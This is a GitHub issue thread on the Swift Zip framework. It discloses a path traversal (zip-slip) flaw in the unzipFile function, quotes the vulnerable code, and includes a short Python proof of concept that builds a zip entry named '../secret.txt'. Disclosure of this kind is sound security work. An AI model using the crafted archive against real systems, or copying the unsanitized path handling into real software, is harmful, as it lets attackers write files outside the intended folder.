marmelroy / Zip

Swift framework for zipping and unzipping files.
MIT License
2.51k stars 452 forks source link

Path traversal vulnerability #245

Closed BlueSquare1 closed 9 months ago

BlueSquare1 commented 1 year ago

Description:

The package does not validate paths coming from zip entries, hence allowing for path traversal

Technical details:

Below is a code snippet from the unzipFile function used to extract zip files, you can notice that pathString coming from our zip entry is appended to the destination directory without any sanitization

let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)

unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0

var pathString = String(cString: fileName)

guard pathString.count > 0 else {
    throw ZipError.unzipFail
}

var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\\".cString(using: String.Encoding.utf8)?.first) {
    isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\\")) != nil {
    pathString = pathString.replacingOccurrences(of: "\\", with: "/")
}

let fullPath = destination.appendingPathComponent(pathString).path

Exploit code:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '../secret.txt'

compress_file(filename)
tanusha commented 11 months ago

This vulnerability is being detected in our security analysis tool.I see there is an open PR with the fix. Can someone please help out with this.

pafdad commented 10 months ago

I believe this project is not being maintained anymore so it either has to be mentioned in the README.md or the project owner should look for stewardship to take over the project